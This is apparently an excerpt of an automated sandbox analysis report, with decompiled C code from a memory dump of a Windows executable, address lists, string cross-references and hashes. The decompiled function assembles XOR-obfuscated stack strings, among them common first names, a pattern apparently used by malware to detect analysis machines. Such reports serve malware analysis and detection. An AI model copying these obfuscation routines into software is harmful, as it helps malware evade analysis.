						_t646 = 1;
					}
					L38:
					 *[fs:0x0] = _a900;
					return E00424873(_t646, _a896);
				}
				if(_a892 < 0x10) {
					_t646 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t783 = _t783 + 4;
					_t646 = 0;
				}
				goto L38;
			}

0x00409cf7
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d15
0x00409d21
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7cf
0x0040a7d7
0x0040a7d8
0x0040a7db
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f8
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a936
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa11
0x0040aa1d
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adf3
0x0040adf3
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

h, xrefs: 0040A69E
E, xrefs: 0040A03F
{, xrefs: 0040AA4F
V, xrefs: 0040A75E
L, xrefs: 0040A04F
V, xrefs: 00409F66
:, xrefs: 0040A80C
O, xrefs: 00409F6E
d, xrefs: 0040A878
T, xrefs: 00409D6A
E, xrefs: 0040AA59
*, xrefs: 0040A5A5
\, xrefs: 0040A03A
4, xrefs: 0040AA23
?, xrefs: 0040A555
^, xrefs: 0040A595
s, xrefs: 0040A804
[, xrefs: 00409E97
$, xrefs: 0040A7EC
d, xrefs: 0040A868
c, xrefs: 0040A98F
}, xrefs: 0040A34F
Z, xrefs: 0040AA1E
T, xrefs: 0040A7DC
F, xrefs: 0040A63E
{, xrefs: 0040A170
;, xrefs: 0040A62E
!, xrefs: 0040A565
7, xrefs: 0040A5C5
C, xrefs: 00409F76
:, xrefs: 0040A3E2
I, xrefs: 0040A834
o, xrefs: 0040A870
i, xrefs: 00409E0D
9, xrefs: 0040A1D2
L, xrefs: 0040AA35
&, xrefs: 0040A51D
_, xrefs: 0040A61E
t, xrefs: 0040A858
r, xrefs: 0040A860
`, xrefs: 0040A68E
K, xrefs: 00409F8E
P, xrefs: 0040A766
", xrefs: 0040A047
P, xrefs: 0040A64E
H, xrefs: 0040A0A1
Z, xrefs: 00409E9F
d, xrefs: 0040A96F
", xrefs: 0040AA3D
D, xrefs: 0040A7E4
B, xrefs: 00409F86
;, xrefs: 0040A5BD
J, xrefs: 0040AA4A
n, xrefs: 00409D85
4, xrefs: 00409D95
_, xrefs: 0040A814
p, xrefs: 0040A3C2
5, xrefs: 0040A646
d, xrefs: 0040A160
}, xrefs: 0040A505
., xrefs: 00409FA0
#, xrefs: 0040A626
l, xrefs: 0040A987
u, xrefs: 0040A880
K, xrefs: 00409EA7
Z, xrefs: 00409D00
j, xrefs: 0040A0B1
), xrefs: 00409D7D
I, xrefs: 0040A58D
], xrefs: 0040A97F
9, xrefs: 0040A057
-, xrefs: 0040A33F
, xrefs: 0040A4FD
., xrefs: 00409F96
+, xrefs: 0040A83C
[, xrefs: 0040A1F2
#, xrefs: 00409E1D
^, xrefs: 00409F7E
2, xrefs: 0040A3DA
', xrefs: 0040A844
t, xrefs: 00409E87
g, xrefs: 0040A0A9
O, xrefs: 0040A5D5
@, xrefs: 0040A030
&, xrefs: 0040A32F
E, xrefs: 0040A236
), xrefs: 0040A8BB

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $!$"$"$#$#$$$&$&$'$)$)$*$+$-$.$.$2$4$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$[$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$i$j$l$n$o$p$r$s$t$t$u${${$}$}
API String ID: 0-3399755458
Opcode ID: e920b67dcf87cb9e7cb1374c866e619f0973ec8c292aadf26826957abe75ec67
Instruction ID: f5904337e205f96cac4326cced5c628dacb3ec89430583387e99fb3348d93f7e
Opcode Fuzzy Hash: e920b67dcf87cb9e7cb1374c866e619f0973ec8c292aadf26826957abe75ec67
Instruction Fuzzy Hash: A6A2A03040C7C29AD336C63888587CBBFD46BA7324F588B9DD1ED4A2E2D675024AD767

Uniqueness

Uniqueness Score: -1.00%

Function 00415BD0, Relevance: 108.6, APIs: 6, Strings: 66, Instructions: 646memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,00000000), ref: 004164B1
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164EB
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164F2
lstrlenA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,00000014), ref: 0041654B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004165E3
HeapFree.KERNEL32(00000000), ref: 004165EA

Strings

Y, xrefs: 00415C09
~, xrefs: 0041635D
T, xrefs: 004163B7
U, xrefs: 00416051
v, xrefs: 004160F9
., xrefs: 0041634E
?, xrefs: 00415D66
F, xrefs: 00415D79
&, xrefs: 004163BC
7, xrefs: 00416402
:, xrefs: 00415C04
k, xrefs: 004163D0
a, xrefs: 0041640C
M, xrefs: 004163CB
/, xrefs: 00415D61
', xrefs: 00415EC8
c, xrefs: 00415D4E
', xrefs: 00415C20
#, xrefs: 00416248
z, xrefs: 00415C34
d, xrefs: 00416029
2, xrefs: 00415C68
A, xrefs: 00416042
l, xrefs: 00415CBE
G, xrefs: 004163F3
n, xrefs: 004163DA
O, xrefs: 00415DB0
h, xrefs: 0041604C
|, xrefs: 0041603D
., xrefs: 00415C91
{, xrefs: 00415F03
d, xrefs: 00416220
i, xrefs: 00416033
g, xrefs: 004163B2
4, xrefs: 00415C25
], xrefs: 00415E96
?, xrefs: 00415ED2
f, xrefs: 00415EFE
6, xrefs: 00415ED7
\, xrefs: 00415EC3
c, xrefs: 00415C7F
M, xrefs: 00415EA0
a, xrefs: 004163EE
U, xrefs: 004163A3
\, xrefs: 00416376
0, xrefs: 00415C3E
7, xrefs: 004160FE
", xrefs: 004160D1
p, xrefs: 00416056
M, xrefs: 00415C8C
:, xrefs: 00415D44
N, xrefs: 00415D97
7, xrefs: 004163E4
S, xrefs: 00416211
b, xrefs: 004163F8
n, xrefs: 004161B3
9, xrefs: 00415E55
s, xrefs: 00415EE6
n, xrefs: 00416234
^, xrefs: 0041638F
>, xrefs: 004163C6
], xrefs: 00415D8D
3, xrefs: 004163A8
I, xrefs: 00415EF4
p, xrefs: 00416385
{, xrefs: 00415BFF

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$Processlstrlen$AllocFree
String ID: "$#$&$'$'$.$.$/$0$2$3$4$6$7$7$7$9$:$:$>$?$?$A$F$G$I$M$M$M$N$O$S$T$U$U$Y$\$\$]$]$^$a$a$b$c$c$d$d$f$g$h$i$k$l$n$n$n$p$p$s$v$z${${$|$~
API String ID: 2204526134-88862724
Opcode ID: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
Instruction ID: d3d8d2549f7682fd1551bd31a31a6895d5c84ed4d1ce20b04fc8ae49b41e83c9
Opcode Fuzzy Hash: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
Instruction Fuzzy Hash: D8622A2110D7C189D322CB3C985868FBFD51BA7218F585E9DF5E44B3E3C2AA8249C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040E246, Relevance: 98.0, Strings: 78, Instructions: 527
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E0040E246(void* __eax, char __ebx, void* __esi, signed int _a4, signed int _a5, signed int _a6, signed int _a7, intOrPtr _a8, char _a12, char _a13, char _a14, char _a15, intOrPtr _a16, char _a20, char _a21, char _a22, char _a23, signed char _a24, signed char _a25, signed char _a26, signed char _a27, intOrPtr _a28, char* _a32, char* _a36, char* _a40, char* _a44, char* _a48, char* _a52, char* _a56, intOrPtr _a60, intOrPtr _a64, char* _a68, intOrPtr _a72, char* _a76, char* _a80, char* _a84, signed int _a88, char* _a92, signed int* _a96, intOrPtr _a100, char* _a104, char* _a108, intOrPtr _a112, char* _a116, char* _a120, char* _a124, intOrPtr _a128, signed char* _a132, char* _a136, intOrPtr _a140, char* _a144, intOrPtr _a148, char* _a152, intOrPtr _a156, char* _a160, signed char* _a164, signed int* _a168, signed char* _a172, signed int* _a176, intOrPtr _a180, signed char _a184, signed char _a185, signed char _a186, signed char _a187, signed char _a188, signed int _a189, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, char _a206, char _a208, signed int _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a216, signed int _a217, signed int _a218, signed int _a219, signed int _a220, signed int _a221, char _a224, char _a232, char _a240, char _a241, char _a242, char _a243, char _a244, char _a248, char _a256, char _a257, char _a258, char _a259, char _a260, char _a264, char _a272, char _a273, char _a274, char _a275, char _a276, char _a277, char _a280, char _a281, char _a282, char _a283, char _a284, char _a285, char _a288, signed char _a296, signed char _a297, signed char _a298, signed char _a299, signed char _a300, signed char _a301, char _a304, char _a320, char _a328, char _a336, char _a337, char _a338, char _a339, char _a340, char _a341, char _a344, signed char _a352, signed char _a353, signed char _a354, signed char _a355, signed char _a356, signed char _a357, char _a360, char _a361, char _a362, char _a363, char _a364, char _a365, char _a376, char _a384, signed char _a392, signed char _a393, signed char _a394, signed char _a395, signed char _a396, signed char _a397, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a429, char _a432, char _a440, signed char _a448, signed char _a449, signed char _a450, signed char _a451, signed char _a452, signed char _a453, signed char _a454, char _a456, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479) {
				char _v0;
				intOrPtr _v4;
				char _v8;
				intOrPtr _v20;
				void* _t412;
				void* _t419;
				void* _t425;
				void* _t432;
				void* _t438;
				void* _t446;
				char _t453;
				char _t458;
				signed int _t476;
				intOrPtr* _t478;
				char _t484;
				char _t490;
				char _t500;
				char _t505;
				char _t511;
				void* _t517;
				void* _t522;
				signed int _t539;
				intOrPtr _t540;
				void* _t594;
				void* _t595;
				intOrPtr _t597;
				void* _t598;
				void* _t600;
				void* _t601;
				void* _t602;
				void* _t603;
				void* _t604;
				void* _t605;
				void* _t606;
				void* _t607;
				intOrPtr _t611;
				void* _t613;

				_t600 = __esi;
				_t412 = __eax;
				do {
					_t484 =  *((intOrPtr*)(_t613 + _t412 + 0xd8));
					 *((char*)(_t613 + _t412 + 0xd8)) =  *((intOrPtr*)(_t613 + _t600 + 0xd8));
					_t412 = _t412 + 1;
					 *((char*)(_t613 + _t600 + 0xd8)) = _t484;
					_t600 = _t600 - 1;
				} while (_t412 < _t600);
				_a392 = _a216 ^ 0x000000c3;
				_a393 = _a217 ^ 0x00000041;
				_a394 = _a218 ^ 0x000000c0;
				_a395 = _a219 ^ 0x00000055;
				_push(4);
				_a396 = _a220 ^ 0x000000a6;
				_push( &_a20);
				 *0x431c89 = 0x19;
				_a397 = _a221 ^ 0x0000005d;
				_a20 = 0x89;
				_a21 = 0xda;
				_a22 = 8;
				_a23 = 0x66;
				_a12 = 0x42;
				_a13 = 0x28;
				_a14 = 0x41;
				_a15 = 0x2c;
				_a28 = E0040D980( &_a12);
				_a4 = 0xb7;
				_a5 = 0xde;
				_a6 = 0x21;
				_a7 = 0x73;
				_t419 = 0;
				_t601 = 3;
				do {
					_t490 =  *((intOrPtr*)(_t613 + _t419 + 0xc));
					 *((char*)(_t613 + _t419 + 0xc)) =  *((intOrPtr*)(_t613 + _t601 + 0xc));
					_t419 = _t419 + 1;
					 *((char*)(_t613 + _t601 + 0xc)) = _t490;
					_t601 = _t601 - 1;
				} while (_t419 < _t601);
				_a24 = _a4 ^ 0x00000019;
				_a25 = _a5 ^ 0x0000004e;
				_push(6);
				_push( &_a336);
				_t51 =  &_a208; // 0x78
				_a26 = _a6 ^ 0x000000bb;
				 *0x431c89 = 0x19;
				_a27 = _a7 ^ 0x000000b7;
				_a240 = 0x6a;
				_a241 = 0x6f;
				_a242 = 0x68;
				_a243 = 0x6e;
				_a244 = __ebx;
				_a336 = 0xf5;
				_a337 = 0x6f;
				_a338 = 0x36;
				_a339 = 0x2c;
				_a340 = 0x84;
				_a341 = 0x4f;
				_a208 = 0x45;
				_a209 = 0x24;
				_a210 = 0x48;
				_a211 = 0x21;
				_a212 = 0x42;
				_a213 = 0x27;
				_v4 = E0040D980(_t51);
				_a256 = 0x61;
				_a257 = 0x6e;
				_a258 = 0x6e;
				_a259 = 0x61;
				_a260 = __ebx;
				_a208 = 0x6e;
				_a209 = 0x3b;
				_a210 = 0x97;
				_a211 = 0xd3;
				_a212 = 0x92;
				_a213 = 0xcb;
				_a214 = 0x44;
				_t425 = 0;
				_t595 = _t594;
				_t602 = 6;
				do {
					_t85 = _t602 + 0xe0; // 0x6e
					_t87 = _t425 + 0xe0; // 0x6e
					 *((char*)(_t613 + _t425 + 0xe0)) =  *((intOrPtr*)(_t613 + _t85));
					_t425 = _t425 + 1;
					 *((char*)(_t613 + _t602 + 0xe0)) =  *((intOrPtr*)(_t613 + _t87));
					_t602 = _t602 - 1;
				} while (_t425 < _t602);
				_t92 =  &_a208; // 0x6e
				_a448 =  *_t92 ^ 0x00000026;
				_a451 = _a211 ^ 0x000000bd;
				_a449 = _a209 ^ 0x000000b9;
				_a450 = _a210 ^ 0x000000f7;
				_a454 = _a214 ^ 0x0000006e;
				_a452 = _a212 ^ 0x000000f3;
				_a453 = _a213 ^ 0x0000005a;
				_a472 = 0x63;
				_a473 = 0x6c;
				_a474 = 0x61;
				_a475 = 0x75;
				_a476 = 0x64;
				_a477 = 0x69;
				_a478 = 0x61;
				_a479 = __ebx;
				_a200 = 0x71;
				_a201 = 0x6a;
				_a202 = 0x4c;
				_a203 = 0x72;
				_a204 = 0x4d;
				_a205 = 1;
				_t432 = 0;
				_t603 = 5;
				_push(_t595);
				do {
					_t500 =  *((intOrPtr*)(_t613 + _t432 + 0xd8));
					 *((char*)(_t613 + _t432 + 0xd8)) =  *((intOrPtr*)(_t613 + _t603 + 0xd8));
					_t432 = _t432 + 1;
					 *((char*)(_t613 + _t603 + 0xd8)) = _t500;
					_t603 = _t603 - 1;
				} while (_t432 < _t603);
				_t130 =  &_a202; // 0x4c
				_a352 = _a200 ^ 0x00000069;
				_t132 =  &_a203; // 0x72
				_a353 = _a201 ^ 0x00000028;
				_t134 =  &_a204; // 0x4d
				_a354 =  *_t130 ^ 0x0000001e;
				_a355 =  *_t132 ^ 0x00000029;
				_a202 = 0xb5;
				_a203 = 0xb5;
				_a356 =  *_t134 ^ 0x00000004;
				_a357 = _a205 ^ 0x00000071;
				_a272 = 0x6a;
				_a273 = 0x61;
				_a274 = 0x6e;
				_a275 = 0x65;
				_a276 = __ebx;
				_a200 = 0x16;
				_a201 = 0xa9;
				_a204 = 0x78;
				_a205 = 0xb9;
				_t438 = 0;
				_t604 = 5;
				do {
					_t505 =  *((intOrPtr*)(_t613 + _t438 + 0xd8));
					 *((char*)(_t613 + _t438 + 0xd8)) =  *((intOrPtr*)(_t613 + _t604 + 0xd8));
					_t438 = _t438 + 1;
					 *((char*)(_t613 + _t604 + 0xd8)) = _t505;
					_t604 = _t604 - 1;
				} while (_t438 < _t604);
				_a392 = _a200 ^ 0x000000d4;
				_a393 = _a201 ^ 0x00000019;
				_a394 = _a202 ^ 0x000000c7;
				_a395 = _a203 ^ 0x000000dc;
				_push(6);
				_a396 = _a204 ^ 0x000000c8;
				_push( &_a424);
				 *0x431c89 = 0x19;
				_a397 = _a205 ^ 0x00000016;
				_a424 = 0x53;
				_a425 = 0x8b;
				_a426 = 0xa2;
				_a427 = 0x94;
				_a428 = 0x67;
				_a429 = 0x43;
				_a200 = 0x66;
				_a201 = 0x35;
				_a202 = 0x40;
				_a203 = 0x33;
				_a204 = 0x52;
				_a205 = 0x3c;
				_push(E0040D980( &_a200));
				_pop(_t611);
				_a400 = 0x6c;
				_a401 = 0x69;
				_a402 = 0x6e;
				_a403 = 0x64;
				_a404 = 0x61;
				_a405 = __ebx;
				_a448 = 0x73;
				_a449 = 0x61;
				_a450 = 0x6e;
				_a451 = 0x64;
				_a452 = 0x72;
				_a453 = 0x61;
				_a454 = __ebx;
				_a240 = 0x6c;
				_a241 = 0x69;
				_a242 = 0x73;
				_a243 = 0x61;
				_a244 = __ebx;
				_a192 = 0x61;
				_a193 = 1;
				_a194 = 0x45;
				_a195 = 0xff;
				_a196 = 0x6e;
				_a197 = 0xf4;
				_push(0);
				_pop(_t446);
				_t605 = 5;
				do {
					_t511 =  *((intOrPtr*)(_t613 + _t446 + 0xdc));
					 *((char*)(_t613 + _t446 + 0xdc)) =  *((intOrPtr*)(_t613 + _t605 + 0xdc));
					_t446 = _t446 + 1;
					 *((char*)(_t613 + _t605 + 0xdc)) = _t511;
					_t605 = _t605 - 1;
				} while (_t446 < _t605);
				_a392 = _a192 ^ 0x00000099;
				_a393 = _a193 ^ 0x0000000f;
				_a394 = _a194 ^ 0x00000091;
				_a395 = _a195 ^ 0x00000026;
				_push(6);
				_a396 = _a196 ^ 0x00000078;
				_push( &_a360);
				_t229 =  &_a192; // 0x66
				 *0x431c89 = 0x19;
				_a397 = _a197 ^ 0x00000061;
				_a360 = __ebx;
				_a361 = 0xc3;
				_a362 = 0x49;
				_a363 = 0x83;
				_a364 = 0xfc;
				_a365 = 0x33;
				_a192 = 0x75;
				_a193 = 0x1e;
				_a194 = 0x7f;
				_a195 = 0xd;
				_a196 = 0x68;
				_a197 = 6;
				_push(E0040D980(_t229));
				_pop(_t597);
				_a272 = 0x62;
				_a273 = 0x65;
				_a274 = 0x74;
				_a275 = 0x74;
				_a276 = 0x79;
				_a277 = __ebx;
				_a280 = 0x68;
				_a281 = 0x65;
				_a282 = 0x6c;
				_a283 = 0x65;
				_a284 = 0x6e;
				_a285 = __ebx;
				_a208 = 0x73;
				_a209 = 0x61;
				_a210 = 0x6e;
				_a211 = 0x64;
				_a212 = 0x72;
				_a213 = 0x61;
				_a214 = __ebx;
				_a184 = 8;
				_a185 = 0xf;
				_a186 = 0x6d;
				_a187 = 0xa3;
				_a188 = 0x9f;
				_a189 = 0x98;
				_t517 = 0;
				_t606 = 5;
				do {
					_t453 =  *((intOrPtr*)(_t613 + _t517 + 0xdc));
					 *((char*)(_t613 + _t517 + 0xdc)) =  *((intOrPtr*)(_t613 + _t606 + 0xdc));
					_t517 = _t517 + 1;
					 *((char*)(_t613 + _t606 + 0xdc)) = _t453;
					_t606 = _t606 - 1;
				} while (_t517 < _t606);
				_a297 = _a185 ^ 0x000000f0;
				_a296 = _a184 ^ 0x000000dc;
				_a298 = _a186 ^ 0x000000cd;
				_a300 = _a188 ^ 0x0000006e;
				_a299 = _a187 ^ 0x00000003;
				_a301 = _a189 ^ 0x00000008;
				_a192 = 0x63;
				_a193 = 0x61;
				_a194 = 0x72;
				_a195 = 0x6f;
				_a196 = 0x6c;
				_a197 = __ebx;
				_a200 = 0xee;
				_a201 = 0x5b;
				_a202 = 0xc5;
				_a203 = 0x99;
				_a204 = 0x2f;
				_t522 = 0;
				_t607 = 4;
				do {
					_t458 =  *((intOrPtr*)(_t613 + _t522 + 0xec));
					 *((char*)(_t613 + _t522 + 0xec)) =  *((intOrPtr*)(_t613 + _t607 + 0xec));
					_t522 = _t522 + 1;
					 *((char*)(_t613 + _t607 + 0xec)) = _t458;
					_t607 = _t607 - 1;
				} while (_t522 < _t607);
				_a184 = _a200 ^ 0x0000005d;
				_a185 = _a201 ^ 0x000000ec;
				_a186 = _a202 ^ 0x000000b1;
				_a187 = _a203 ^ 0x00000033;
				_a188 = _a204 ^ 0x000000ee;
				_a28 = _a16;
				_a24 =  &_a224;
				_a32 =  &_a264;
				_a36 =  &_a288;
				_a40 =  &_a400;
